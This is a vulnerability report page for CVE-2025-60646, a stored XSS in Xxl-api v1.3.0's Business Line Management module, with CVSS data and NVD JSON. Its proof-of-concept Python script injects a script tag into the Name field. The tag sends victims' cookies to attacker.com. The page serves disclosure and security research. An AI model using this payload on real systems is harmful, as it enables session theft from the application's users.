Security Vulnerability Report
中文
CVE-2025-60646 CVSS 6.1 MEDIUM

CVE-2025-60646

Published: 2025-11-12 19:15:37
Last Modified: 2025-12-03 21:30:51

Description

A stored cross-site scripting (XSS) in the Business Line Management module of Xxl-api v1.3.0 attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Name parameter.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:xuxueli:xxl-api:*:*:*:*:*:*:*:* - VULNERABLE
Xxl-api v1.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-60646 PoC - Stored XSS in Xxl-api Business Line Management # Target: Xxl-api v1.3.0 # Module: Business Line Management TARGET_URL = "http://target:8080/xxl-api" # XSS payload for stealing cookies xss_payload = "<script>fetch('https://attacker.com/log?cookie='+document.cookie)</script>" def create_malicious_business_line(): """Create a business line with XSS payload in Name parameter""" endpoint = f"{TARGET_URL}/api/businessLine/add" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } data = { "name": xss_payload, "description": "Malicious business line created by attacker", "status": 1 } try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] Payload: {xss_payload}") print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") return response.json() except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-60646 PoC - Stored XSS in Xxl-api") print("=" * 60) create_malicious_business_line()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60646", "sourceIdentifier": "[email protected]", "published": "2025-11-12T19:15:37.013", "lastModified": "2025-12-03T21:30:51.383", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) in the Business Line Management module of Xxl-api v1.3.0 attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Name parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xuxueli:xxl-api:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.3.0", "matchCriteriaId": "094677B5-3517-488E-BED8-BE433380C2D2"}]}]}], "references": [{"url": "https://gist.github.com/LockeTom/0a02c0b2e2011abfbdf4e5fdbcc9b371", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/xuxueli/xxl-api/issues/65", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}